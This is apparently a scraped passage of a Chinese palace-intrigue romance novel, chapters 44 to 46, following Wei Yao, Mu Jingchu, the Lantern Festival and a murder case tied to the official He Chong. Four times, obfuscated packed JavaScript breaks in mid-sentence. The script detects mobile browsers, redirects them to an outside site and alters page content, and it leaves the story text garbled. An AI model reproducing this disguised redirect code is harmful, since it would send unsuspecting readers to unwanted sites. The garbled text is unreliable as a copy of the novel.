魏窈觉出他指上的冰凉，不由抬手握住他的手，试图焐热些，口中道：“快进去坐吧，里面暖和。” 穆景初却没动，任由她拽着他的右手摩挲，左臂却仍藏在身后。 魏窈见拽不动他，诧然抬眉，“怎么啦？” 穆景初唇边浮起些笑，藏在背后的左手伸出来，指尖锦带鲜丽，底下挂着个方方正正的锦盒，做得十分精致。 “给你的。”他淡声说着，将拿锦盒送到魏窈面前。 大抵是隆冬去后春夜已至，魏窈听着那声音，竟觉比平常多了几分温柔。 锦盒尺许见方，揭开盒盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351657|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，入目是一方鎏金雕花的海棠纹样，雕刻得精细入微，两边还嵌着软玉金丝做成的喜鹊登枝，色泽温润悦目。 瞧着像是个女儿家用的百宝盒。 她诧然瞥了眼穆景初，将那盒子取出来，果真是个四四方方的檀木盒，纹路细腻、质地极佳。除了顶上精致的装饰外，四周都有恰到好处的点缀，富丽却又不觉奢靡。 上头四层小抽屉，里头铺了软锦，倒很适合安放耳珰之类的首饰。 ——说实话，这样精致漂亮的物件，光是瞧着都能赏心悦目，每日用着确乎能令人欢心。 只是…… “这太贵重了。”魏窈确实很喜欢这首饰盒，但这镶金嵌玉的工艺绝非凡品，更勿论那盒子的质地，瞧着不像寻常檀木。 于她而言，着实过于名贵。 指尖不自觉缩回去，她没法坦然笑纳，才想推拒，就听穆景初道：“留着用吧，没法退了。” 说着话，像是觉得屋里太热，抬手松了松领口。 魏窈便帮他解去大氅，问道：“怎么回事？” “途中路过一个有名的老作坊，瞧他们手艺不错，一时起意做了这盒子，回来刚好拿到手。若退给人家，岂不是砸人家生意？”穆景初声音微顿，带了几分调侃，“好歹也是个郡王，不至于连这都买不起。” 这话说得魏窈不由失笑。 依王府的起居用度，这首饰盒倒也不至于突兀，毕竟时下四海富庶，京城里多的是奢靡富丽的东西。只不过两人毕竟关系特殊，穆景初有能耐随意馈赠这般贵重的物件，她却未必能予以同等回馈，心底终究不够踏实。 但事已至此，推拒未免做作，且穆景初匆促办差时竟还记得给她带东西，细想来也令人高兴。 魏窈便没再多说，帮他解了外衫蹀躞，又让青穂取来寝衣，送穆景初去里头洗洗风尘。 回来瞧见桌上精致悦目的首饰盒，到底还是勾起了笑。 是夜，魏窈先行歇下，穆景初到惠王爷那边禀事，父子俩聊到三更天才各自去歇息。 翌日进宫回话，自是忙碌。 待得这差事交代清楚，便是元夕灯会。 京城的元夕灯会是出了名的热闹，尤其是昭明帝在位这些年，因着京城承平、天下富庶，非但市肆酒坊比前朝热闹许多，就连元夕灯会都玩出了许多花样。 早在前些天，工匠们就已在长街上布置起来，由朝廷出银钱，将宫门正对着的整条御街都装饰得流光溢彩。 宫门前的空地上更是架起了一座高而华美的灯架，如巨大的水车般矗立，上头悬着各地进献的精致花灯，还盘了两条威风凛凛的金龙。 如此盛大的灯会，昭明帝焉能轻过？ 傍晚时分，宗亲们陆续在宫中聚齐，待得一场小宴结束，恰是夜色四合、满城热闹之时。 昭明帝兴致甚浓，披了件厚暖的明黄氅衣，亲自带着儿孙们到宫墙之上，欣赏他四十余年来费心经营出的清平盛世。 44. 044 已是入夜，初春的风依旧清寒。 御街上却已是人头攒动，男女老少们各自提着花灯，游走在御街之上，欣赏两侧悬挂在树梢、装饰于楼阁的各色灯盏。烛火明灭如星辰洒满，站在宫楼上望下去，便如泛着光的点点璀璨鳞甲，与两侧精心排列出的金龙交相辉映。 这样的情境令昭明帝甚是满意，而御街上的百姓得知帝王驾临，也都回转过身来，山呼万岁—— 正对宫门的这条御街，平素都是拿朱栏围起来，只许奉有皇命的车马经过，寻常百姓都是走两侧阁楼前的路。今儿帝王特准撤去朱栏，又在几丈宽的御街上架设花灯，准许百姓在街心观灯，已属皇恩浩荡。 灯火璀璨的御街、各地进奉的珍奇花灯，已然让百姓们大饱眼福，此刻跪谢皇恩，那声响更是踊跃震天。 昭明帝俯视着众生，掀须而笑。 身旁伺候的内监比个手势，鼓乐奏起序章，底下的工匠点燃引线，两条火舌游龙般窜上灯架，火星所过之处，花灯依次点亮。 不消片刻，原本蹲伏在暗夜中的灯架便已粲然生辉起来，那两条火舌在最顶端汇聚，点亮当中那盏最大的如巨龙盘踞的大花灯，几乎照亮半边夜空。 欢呼如期入耳，那座灯架也随之缓缓转动起来，光华流转，图景变幻，唯有最上首单独架着的金龙岿然不动。 如同稳居皇位四十余载、端然俯视臣民的巍巍君王。 非但御街，就连宫墙之上都有惊叹声此起彼伏，魏窈站在惠王妃身后，也看得满面赞叹。 ——前世她也曾看过几回京城的灯会，但那时她终归是臣子女眷，因御街上挤满了百姓，便随长辈们挑个靠近宫门口的阁楼，在雅间里观赏。而如今站在巍峨的宫楼之上，巨大的灯架连同御街上蜿蜒的长龙入目，那盛丽情形，几乎令她叹为观止。 昭明帝显然也满意于工匠的巧思，命人重赏下去，而后欣赏了半天，满意地回去了。 魏窈则混在皇亲之中缓步出宫。 时辰尚早，街市间鱼龙作舞，百姓们尚且玩得热闹，其间种种灯谜巧思，能让人流连到后半夜去。 一年一次的盛会，谁都不想轻易错过。 惠王夫妇俩闭门甚久不爱凑热闹，世子穆景言和梅氏却正年轻，禀过长辈后，打算赏完灯再回府。 魏窈瞥向穆景初，那位抬抬下巴，“去看看吧。” 小心思得逞，魏窈眉开眼笑。 其实早在元夕之前，她就跟梅氏聊过元夕灯会的事情，得知往年世子夫妇都会单独赏灯，便知今晚是有机会让她凑个热闹的。 因想着以穆景初那性子，大约不爱到扎堆的人群里跟她一处闲逛，所以那天去顺记小馆时，特地跟沈歌和顾顺娘约了一起赏灯，到时候再带上知白，也能交代过去。 谁知瞧他那意思，竟是要同去？ 魏窈始料未及，又不好跟亲人爽约，跟穆景初走出一小段路，才迟疑着开口，“殿下，稍后咱们能否去趟周记酒楼？”她有点惴惴，却只能硬着头皮解释，“顾姨和沈家姐姐还在那里等我，” 这两个名字，穆景初倒是听过。 先前在别苑教她骑马时，魏窈就提过跟顾顺娘相依为命、与沈歌亲如姐妹的过往。 只是没想到如此良宵，她惦记的竟是与她俩赏灯。 他不由侧头，淡淡瞥了一眼。 魏窈情知是失策了，赶忙解释，“先前殿下出门办差，我原以为会耽搁些时候，且跟沈家姐姐多年未见，才约了一起赏灯，还望殿下勿怪，” 说完又赶紧保证，“跟她们说句话就行，免得她们空等。过后殿下想去哪就去哪，不会让她们搅扰。” “勉强算事出有因，不至于怪罪。”穆景初淡淡开口，“既说了同游，无需因我爽约。” ——难道在她眼里，他就那么小肚鸡肠、拒人千里？ 穆景初心底轻嗤一声。 魏窈听见这话，才暗暗松了口气，便与穆景初一道往周记酒楼去。 到得那边，沈歌和顾顺娘果然已经到了，正在那儿猜灯谜。 因今夜要跟魏窈四处游走，为免相熟的人瞧见了说闲话，沈歌还特地换回了女儿装束，仍是不爱装扮，只拿木簪随意挽发。 魏窈莞尔，快步上前。 顾顺娘原本正跟一个灯谜死磕，察觉背后有人轻戳，回头见是魏窈，忙去拽沈歌，“别玩啦，阿槿来了！” 说完了，才见魏窈背后还站着个人，瞧那端贵峻拔的身姿气势便能猜到身份，更勿论平素寸步不离的知白还站在那人后面，跟另一位精干的男子随侍在后。 俩人相视一眼，顾顺娘未料穆景初竟然也会过来，一时不知该不该在拥挤的众目睽睽之下行大礼。 还是魏窈知道穆景初不爱张扬，忙上前扶住两人手臂，免得漏了身份横生枝节。 沈歌和顾顺娘见状，自然不好造次，只能尴尬地拿眼神恭敬问候。 穆景初随意颔首，“走吧，去别处瞧瞧。” 见魏窈夹在中间似左右为难，又道：“你们走前面，我随意看看。” 有了这话，魏窈便少了顾忌，挽着顾顺娘和换回女儿装扮的沈歌走在前面，沉浸在绮丽灯海之间。 穆景初在后缓缓踱步，视线一时落在花灯，一时落在与亲人言笑晏晏的魏窈身上。瞧着灯光下她笑靥如花，跟沈歌揶揄打趣的松快模样，再想想她在王府里谨慎懂事的内敛做派，忽然觉得，这安排也挺好的。 而在半步之外，知白与卫玄铮贴身护卫，视线扫过人群之余，不时落在沈歌身上。 …… 赏完灯回到王府，已是子时过半。 穆景初被事情绊住脚，去书房逗留了片刻，魏窈则先行回屋洗漱。 今晚满街花灯灿烂耀目，她又是头回跟顾顺娘和沈歌一起赏完这样盛大的灯会，高高兴兴走了一个多时辰，着实有些累。 屏退青穂和绿禾，魏窈原打算在榻上倚枕等待穆景初回来再睡的，谁知眼皮撑不住，就那么昏昏沉沉地眯了过去。 等穆景初回到熹微山房时，就见她靠着软枕睡得正熟，仗着屋里炭盆烧得暖和，连锦被都没好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355669|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好盖，只胡乱遮住腰臀小腹，将一双纤白的脚撂在外面，烛光下莹润如玉。 就那么窝着，也不怕难受？ 穆景初的视线在那双玉足逗留片刻，压住脑海里悄然浮起的某个荒唐念头，随手扯了锦被盖在她的身上，想了想，又屈膝跪在榻上轻轻抱着她躺好了，掖好被角，才抬步去里头盥洗。 夜已深，他今日也有些累了，胡乱洗洗便罢。 披着寝衣出了浴房，外头昏暗灯盏下，唯有魏窈安然卧于榻上，似对他的到来浑然未觉。 穆景初脚步稍顿，视线在她的脸颊和旁边的空枕上逡巡。 满室幽暗，鼻端是那股微淡却诱人心神的熟悉香味，眼底是吹弹可破的柔嫩肌肤和红嫩唇瓣，脑海里一时是落于掌中的柔软感觉，一时却又是她与顾顺娘和沈歌言笑晏晏、自在谈笑的模样。 若当初她答应成婚，当真是为生母之事，那么顾顺娘和沈歌想必就是她留的退路。 盛夏时节在涵园的约定犹在眼前，彼时穆景初还曾怀疑她是欲尽还退，假意欣喜于放她离开的承诺。而今看来，她那时是真存着事成之后分道扬镳的心思，没打算跟他一辈子。 也许她从未想过留在王府，如同她从未想过，他其实会快马加鞭昼夜疾行地赶回京城，只为心底那一丝陪她共赏元夕的妄念。 血气在暗夜里蠢蠢欲动，隔着咫尺之遥，只消他跨近一步，香软便唾手可得。 有名分有约定，他确实能为所欲为。 可是…… 穆景初觑着锦被下微微起伏的胸脯，片刻之后，终究还是别开视线，抬步往外间走去。 临出去前，顺手扑灭灯盏。 陷于漆黑的卧榻之上，魏窈躺得端正，鼻息匀长，却在听见梢间铺床的动静时悄然睁开了眼。 她其实已经醒了，在穆景初抱着她躺卧下去的时候。 换在从前，她必定不会躲懒，强撑精神也得先起身做好分内之事后再睡。可方才穆景初的举动实在出乎她所料，加上迷迷糊糊间，他掖被角时指腹在她足上片刻停顿摩挲，那种若有若无的眷恋，竟让魏窈生出些许迷茫。 穆景初如今这样，算是什么呢？ 若他只是单纯的见色起意，想要在这屋檐下成夫妻之实，哪怕像先前的强吻那样简单粗暴些，魏窈也能坦然迎合，做好夫妻敦伦的分内事。 可方才那一瞬，也不知是不是刚醒来脑袋懵然的缘故，魏窈竟从他的举动里品出了温柔味道。 莫非朝夕相处之下，他其实已经有了稍许动心？ 魏窈拿不准，一时也不知如何应对。 她只是望着黑黢黢的帐顶，听着梢间里渐而低微的动静，想起前世那场凄然收场、焚尽亲情的大火，也想起神魂飘荡时，穆景初年年如约而至，孤身坐在她的墓前一语不发的样子。 这世间好物不坚牢，情意更是难以久长。 可这世间万千种人，万千种事，又并非千篇一律。 会不会……有所不同呢？ 再次昏睡之前，魏窈迷迷糊糊地想。 45. 045 翌日清晨一切照旧，穆景初仍旧早起习武，与离京前并无半分不同。 魏窈也照旧往返于给婆母问安、照料文孺的路上，精心为穆景初置办餐食糕点。 衙署开门后渐而忙碌，年前积压的许多案子陆续查办起来，贺家管事赵福生手上的命案也不例外。 证据确凿的事，其实无从推诿。 但同样的案子同样的证据，换了时节，情形就又不同了—— 朝会过后，昭明帝将穆景初叫到寻常处理政事的内殿，主动提起了赵福生的案子。得知罪行是板上钉钉后，他也没再追问，只是掀须道：“这个年节你算是辛苦的，这案子是小事，南边的事儿棘手吧？” 他从御案后踱步而出，“修道观的事千头万绪，为了几根木头尚且能闹出这么些事，可知此事背后的不易。” “贺卿既要在朝堂为朕尽心，又操心着道观大小的事，着实为朕分忧不少，家事上难免疏忽。那个赵福生依律处死，但贺卿——”他抬抬下巴，指着案上堆放的一摞奏折，“他为朕殚精竭虑，就别追什么纵容家奴、治家不严的罪了。” “新年了，朝堂上该有个新气象，道观的事更不可耽误，别再给朕添乱。” 昭明帝觑着穆景初，语气不容置疑。 这显然是早已决断的圣意，借着新年新气象的由头将帝王恩典赐给宠臣，顺便封住朝臣们弹劾贺崇的嘴。 而穆景初，便是替他成全心意的那只手。 督建道观的事情都搬出来了，圣心已然如此，若还穷追不舍，便为不孝。 至于外头那些谏言，也未必真能拿贺崇怎么样。 意料之中的态度，穆景初早已猜到，此刻听昭明帝说出来，竟连心寒的感觉都不曾有。 他只是躬身，恭敬接旨。 却在出宫之后将卫玄铮叫到书房，命他亲自去办一件事。 没过两天，一则骇闻传遍京城。 有个出京城做生意的商队在京郊二十里处遭遇悍匪，整个车队十来条人命全都被杀死后整齐摆在官道上，只有领头的不知所踪。 此事一出，非但百姓传为奇闻，惊骇于凶手的狠辣，纷纷猜测这背后的恩怨，就连朝堂之上也传得人尽皆知—— 毕竟这是太平富庶的京畿，天子脚下，离城门不足二十里，如此猖狂凶残，着实骇人听闻！ 事情震动京城，京兆尹亲自去现场查办，连昭明帝都听说了，气得脸色铁青。 贺府里，贺崇在外端了一天的笑，回到书房后关上门，抄起门边摆着的精致瓷瓶，抬手就往墙上重重砸去。如是连着砸了好几件瓷器，憋了整天的气闷才稍稍和缓，他这才打开屋门，颤抖着唇喊周管事进去。 周管事顶着个乌青的眼圈，原就灰败的脸色在瞧见贺崇只敢关着门发泄愤怒后，愈发没了血色，便耷拉着脑袋垂头丧气地往里走去。 …… 年节才过，案头养着的茶梅尚未开败，于夕阳斜晖下舒展花枝，静候渐暖的春光。 贺崇的脸上却如封了寒冰。 “那边有消息吗？”他有些焦躁地来回踱步，声音都有点沙哑。 周管事丧气地摇了摇头，“那件事儿出来之后，老奴怕背后另有蹊跷，已经动用信鸽给大哥递消息了，让他早做准备。按说今儿该有回音才对，可城里城外几处鸽房的人蹲了一整天，半点动静都没有。” “信鸽没让人截了吧？” “不应该啊。”周管事拧着眉头，“老奴怕出岔子，动用了三处的信鸽，总不至于全都被人截了。” 贺崇听了这话，脸色愈发难看起来。 他在城外的鸽房藏得隐蔽，且除了大事外甚少动用，总不至于都被人盯住。按理说，信鸽早就到周方远那里了才对。 可这都三四天了，还没半点回音，莫不是那边也出了岔子？ 可若周方远那头出事，怎么没给他递半点消息呢？ 贺崇拿不准，便只追问道：“还打听到别的消息了吗？他们在京城那几日，周遭可有异样之处？领头的朱老九有消息吗？” “老奴已让人暗中追查去了，朱老九还是没找到。” 周管事奔波数日却毫无所获，有种束手无策的无力感，更不敢看贺崇的脸色，只低着头继续回禀—— “至于旁的，老奴也问过，他们这些年都是用皮货商的身份进京，且那几处皮货店都是实打实的，从没人疑心过。这么几年了，一直都安安稳稳的。今年也是，送完物件过完年，都跟往年没什么两样，也没听说有脸生的人上门。谁知一出城就碰见这种事。” “莫不是……”周管事迟疑着，低声道：“有人找错了冤家，并不一定是冲着他们？” “放屁！”贺崇差点把唾沫星子全喷到他脸上。 周管事不敢擦，只缩着肩膀不吭声。 贺崇情知他本事有限，偏巧办事最得力的赵福生年前才被抓走，一时间没个好帮手，只能忍着怒气，让他继续去打听朱老九的下落。 转过头，瞧见满地的碎片，贺崇没喊人来清扫，竟自蹲身下去，挽起袖口一点点将碎片捡起。 颤抖的手被碎片割破，血珠子一点点渗出来，他也没觉得多疼，反而似多了几分清醒，只眯着那双小眼睛，慢慢琢磨这几日的动静。 皇城之外悍然行凶，领头的人下落不明、周方远杳无音信，有先前赵福生的事儿在，贺崇十分笃定，这回就是冲着他来的。 但会是谁呢？ 他手底下的事，明面都是由赵福生接手，周方远和朱老九这波人藏得隐蔽，平素都是由周管事联络，连赵福生都瞒着。整个京城里，也就他父子俩、魏芝翰夫妻俩和周管事知情，旁人无从得知。 年前周方远那儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359157|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还安安稳稳的，赵福生也供不出朱老九这条线索，那会是哪里泄露的消息，又泄露到何种地步了呢？ 贺崇心里没底，乃至彻夜难眠。 ——摆在明面上的东西都是能让人看的，就算赵福生手脚不干净，也不会牵连到他。甚至他私下受点贿贪点儿什么，只消昭明帝不计较，查起来都不算什么。可周方远就不一样了，京城之外山高皇帝远，权柄在握肆无忌惮，这些年周方远替他办的事实在太多了！ 贺崇等不到回音，心下愈发焦灼，翌日清早便派儿子贺清宴找个由头告了假，快马出城，亲自去周方远那边料理。 谁知贺清宴前脚刚走，后脚就有个消息炸到贺崇耳边—— 朱老九找到了！ 好巧不巧，是重伤后流落在山林里，半死不活的时候被带着文孺出城射猎的穆景初给捡到的，在盘问过身份后亲自送到京兆尹手里。 相较于从前皇子担任京兆尹的惯例，昭明帝因经历过皇子谋逆等事，便革除旧制，选了个不那么显贵的人担任此职，打理衙门庶务和一些寻常案件，凡是棘手些的，多半交由昭明帝信重的大理寺审理。 这般十余年下来，京兆尹的权位早已远逊从前。 如今的京兆尹是个人精，权柄不重却有眼色，哪能嗅不到这事背后的蹊跷？ 即便从死者身份上查不出什么，但这样明目张胆的凶案八成牵扯着要紧人物。且被杀的商队看似身份路引齐全，可这些天细查下去，背后竟似牵扯着别处的命案，不像安分的生意人。 这事儿传得沸沸扬扬，他原就一个头两个大，见穆景初主动送上门来，自是喜出望外。 遂让人将朱老九抬下去诊治，派亲信严加看管，随后入宫向昭明帝禀报进展，并以此案错综复杂为由，请帝王派人协查。 捡到朱老九的穆景初，便被昭明帝抓了壮丁。 等贺崇得知消息时，穆景初已经被请去了京兆府喝茶，就等朱老九被救醒后审问了。 贺崇听着这桩桩件件的消息，愣了半晌。 有那么片刻，他都有些怀疑这事是穆景初干的了，怕那小子是知道了什么旧事，要跟他为难。 可穆景初才帮他压住赵福生的案子，又主动举荐贺云章站上肥差，先前几番往来时也没瞧出什么异样。何况周方远的事藏得隐蔽，穆景初与贺家素无往来，就算翻透赵福生的肠子，也未必能问出这等隐情。 更何况，当年的事十分隐秘，惠王爷都未必能察觉，更勿论还是少年的穆景初。 会不会只是巧合？ 贺崇这些年青云直上，能将昭明帝的心思算得清清楚楚，却着实看不透眼下的迷雾。 但无论如何，案子既然落到了穆景初的手里，不管是不是巧合，总不能坐以待毙。 他灌了几口去火的汤药，很快就让人把魏芝翰叫到了跟前。 46. 046 魏芝翰这两天也有些寝不安枕。 身为贺崇的“半个儿子”，贺崇手底下藏着多少脏污事，他不是不知道。前阵子赵福生的事也就罢了，这回城外凶案闹得沸沸扬扬，他瞧着贺崇失了往常的沉着姿态，心底也难免敲着小鼓。 今日来贺府时，神情也格外严肃。 直到听见贺崇说此案已交由穆景初协同京兆尹审理，他才松了口气，侥幸般喃喃道：“得亏没交给梁王。” “说起来也只是个商贾的凶案，犯不着动那位大佛。”贺崇其实也有点庆幸，“这要是很真给了他，但凡嗅出点腥味，他跟韩相联手查起来，怕是很快就能挖得渣子都不剩，岂会容我喘息。” “还好圣上选了肃郡王，算是不幸中的万幸。”魏芝翰低声安慰，“若真查出什么，至少还能有转圜的余地。” 贺崇却摇摇头，“说不好。” “若是朱老九嘴严，只招供是给我送年礼也就罢了。若他嘴不严，泄露出那边——”贺崇眸色一沉，怕魏芝翰乱了阵脚，没提周方远断了音信的事，只沉声道：“送年礼的事瞒不住，迟早会查到我头上。不如你去趟王府，探探肃郡王的口风。” “小婿这就去办！”魏芝翰连忙点头。 贺崇抓着他手臂，又肃色叮嘱道：“切记，只借年礼的事探他的态度。别乱了阵脚让他瞧出别的，反倒勾起疑心，于我无益。” 魏芝翰答应了，匆匆出府。 谁知到惠王府递上名帖，门房管事却是一脸歉然，“郡王爷出去办事，也不知几时回来。魏大人不如进府里坐坐，吃杯茶，等郡王爷回来？” 态度恭敬和顺，倒是很把这位岳父当回事。 魏芝翰却哪敢进去久等？ 这节骨眼上，多少人都在瞧这案子的热闹，若让人知道他在王府巴巴儿等穆景初，还不知会引出多少猜测。 便只笑了笑道：“等倒是不必，不过是有几句家常的话，既然郡王不在，我说给侧妃也是一样的。” 门房管事笑呵呵应着，一面派人去里面通传，一面将魏芝翰请到花厅里用茶。 不多久，魏窈便闻讯而来。 亲手推波助澜的好戏已然上演，她当然猜得到魏芝翰今日是为何而来。听魏芝翰提及穆景初，她便顺着话茬道：“殿下这些天确实忙碌，早出晚归的，好像是为着京兆尹的命案。” “是有几个商贾的命案市井里传得沸沸扬扬，你身在内宅，竟也听说了？” “殿下提过一嘴，说这事儿交到了他手里。”魏窈道。 魏芝翰瞧着嫁进王府后愈见端丽的女儿，心头微动，“说起来也这算是公务，殿下肯跟你提，看来他待你倒是很好。” “殿下他……外冷内热。”魏窈垂首，似有些不好意思。 魏芝翰不便追问闺中之事，不过瞧女儿这欢喜娇羞的神态，足见夫妻之间感情是很融洽的。也难怪穆景初那样疏冷矜傲的人，在他跟前也能翁婿和睦，想来对这位亲自挑的侧妃很是满意。 既如此，枕边风终归能有些用。 他放心了不少，想让魏窈传话儿给穆景初，寻个不招眼的地方会面，可端惯了严父的架子，真个求上门来，一时间倒有些开不了口。 还是魏窈率先挑破了，起身给他续上香茶，“父亲今日过来，是有事要找殿下么？” “有些小事，想请他参详参详。”魏芝翰端然坐着，顺溜接了话茬。 魏窈也不多问，只是道：“今晚怕是不能了，听殿下身边的随从说，怕是要彻夜审案呢。父亲不如先回府，等殿下回来了，我跟他说一声，他得了空暇就着人去请父亲过来叙话，父亲觉得如何？” 魏芝翰对这乖顺的态度很是受用，颔首道：“也好，只是事情有些紧急，尽量别耽搁。” 说着，又不忘叮嘱，“殿下身份尊贵，他肯用心待你自然是好，但你也不可恃宠而骄，务必谨慎侍奉、妥帖行事。” “女儿记住了。”魏窈是一贯的沉静恭顺模样，又闲叙了两句，才含笑将他送出花厅。 天色将晚，初春时节仍觉清寒。 花厅之外嘉树掩映，一派家常温馨的布置。 甬道相隔的远处，却有王府长史司的人下了值结伴出府，穿行在恢弘轩昂的殿宇之间。也有位衣衫贵重的内监逆着人群进府，大约是宫里有话传出来，要给惠王爷或是世子。 听贺崇说，今岁的除夕夜宴，肃郡王是携魏窈入宫赴宴，坐在世子妃的后面。 前些天的除夕灯会，魏芝翰跟贺氏、魏淑云小夫妻去宫门前观灯时，瞧着宫阙之上成群的皇亲，曾试着找寻魏窈的身影，却因离得远没能瞧见。 即使是寻常百姓眼里高不可攀的郡王侧妃，在那些翻云覆雨的皇室宗亲中，其实也不值一提。 此刻暮色渐合，魏芝翰了却贺崇交代的心头大事后走在甬道，目光扫过依规制而建的巍峨阁楼，有那么一瞬，其实想问问魏窈，她一个长在乡下、从没见过世面的小姑娘，能否应付王府乃至入宫时繁琐的礼仪，是否曾在朱楼玉阙之内受委屈。 但他终究没有开口，只是在临走前叮嘱她别忘了交代的事，而后便摆摆手，大步离去。 留魏窈站在原地，看着他走到尽头，穿过洞门绕过影壁，而后没了影子。 风拂过裙裾，凉飕飕的灌进袖口。 魏窈脸上陪着的笑早已消弭，只淡淡看了眼远处，而后收回视线。 一直陪在旁边的青穂撇了撇嘴，低声道：“主君也真是的，都不问问主子在这里过得好不好，就知道让主子办事儿。这得亏殿下待主子好，王爷和王妃娘娘又和善，若换了别处，刚进府时还指着娘家帮忙站稳脚跟呢，哪有这样的。” “奴婢听说前阵子许家设宴，主君送了份很厚的礼，给二姑娘挣了好大的脸面，平常对那位状元郎也处处帮衬呢。” “到咱们这里，就什么都没有。” 青穂从前虽没机会在贺氏跟前伺候，但魏家就那么大点地方，夫妻俩有多宠爱魏淑云，她都扎实看在眼里，听在耳中。 如今死心塌地跟了魏窈，瞧着魏芝翰的做派，难免觉得有些寒心。 魏窈闻言笑了笑，没说话。 早已看清楚的事情，不会生出期望，自然谈不上失望。 但既已确信父女间寡于情分，回头她要做事，也就无需心软愧疚了。 她揣着心事回到熹微山房，当晚独自歇下。 …… 次日晌午时分，穆景初如期归来。 魏窈早已备下了丰盛的饭菜，见他回府后直奔熹微山房，一面着人摆饭，一面陪他进屋洗手。又将昨夜审讯时沾了牢房霉味的外裳褪去，换了身新裁剪的春衫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362835|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 穆景初虽说没熬整宿，到底有些疲惫，闭着眼站在那儿任由她穿衣打理。 待妥当了睁开眼，瞧见身上簇新的浅色衣裳，才道：“新做的？” “开春儿了，天气渐渐暖和起来，我瞧殿下衣橱里都是些深色的，便让人另做了几套，回头穿出去，也跟这春光相得益彰。” 魏窈笑说着帮他理好袖口，退了半步一端详，还别说，就穆景初这身板儿，穿出来有模有样的。 且他平素穿惯了玄色、墨色等衣裳，总有种疏冷难以亲近之感，此刻换身色浅而不失稳重的，衬着窗外明媚的春光，倒添了稍许温和。 魏窈甚是满意，不由点点头。 穆景初原本还有些别扭，瞧她那一副满意赞赏的表情，便挪到镜前瞧瞧。初时有些不习惯，多看几眼，倒还真觉得这衣裳一穿，冲淡了身上那股老气横秋的架势，有点儿英姿勃勃、新婚初娶的年轻模样了。 “适合穿着踏青。”他对镜自照，随口点评。 魏窈很捧场，“等忙过这阵儿，带上文孺找个地方赏花，小家伙会高兴的——他都念叨好几回了呢。” 说着话，两人出了主屋，去厢房用饭。 饭菜十分精致，魏窈闲在府里，又无需管内务杂事，除了琢磨顾顺娘的食店外，也就琢磨父子俩的起居了，自是用心做得妥帖。 穆景初吃着桌上合乎自家胃口的菜肴，偶尔尝尝依魏窈口味做的那几道，汤暖饭香之间，疲惫渐消。 魏窈也趁此时，提起了魏芝翰的事。 穆景初听了没觉得意外，如常舀着肉羹来喝，道：“看来这回是打到贺崇七寸了。” “那个领头的招出周方远了？”魏窈有点儿期待。 “还没，只说是给贺崇送礼。但真要用刑，招供是迟早的事。” 他这样一说，魏窈霎时明白过来，“贺崇派我父亲来，难道是想试探殿下的态度，让殿下审案时点到即止，别深究太多？可周方远若果真作恶多端，背后必定有人撑腰。贺崇为免罪行败露，必定会抢着毁了罪证。” “他没机会了。”穆景初抬眉，唇边挑起些笑意，“你先发制人，该记头功。” 魏窈就盼着穆景初能先下手为强，趁贺崇不备将周方远握着手里，瞧他这样成竹在胸，心下也觉欢喜。 倒是穆景初筷箸微顿，“只是如此一来，你父亲怕也难逃其咎。” “我明白。”魏窈垂眸缓声。 贺崇攀上高位也就是这十多年间的事，周方远仗着贺家的事肆无忌惮，魏芝翰身为贺崇的“半个儿子”，岂能不知情？甚至有些事，他身涉其中都说不准。届时真个查出来依律论处，莫说官位不保，性命如何都不好说。 即使领教过魏芝翰的无情，说起来终归父女一场。 魏窈其实也没认真想过，若真有那么一日，她是否该为魏芝翰求情——内心里，她其实有意回避去想那样抉择的场景。 而此刻事尚未至，魏窈也不为难自己。 她搁下碗筷，起身给穆景初盛汤，口中提起另一件事，“这案子一旦深查起来，我父亲必定会夹在殿下和贺崇之间。有件事情，我想求殿下顺水推舟，只要拿出几分假意，或许能帮我一个忙。” 穆景初瞧着那张漂亮却又添几分狡黠的脸蛋，竟被勾起了兴致，“说说看。”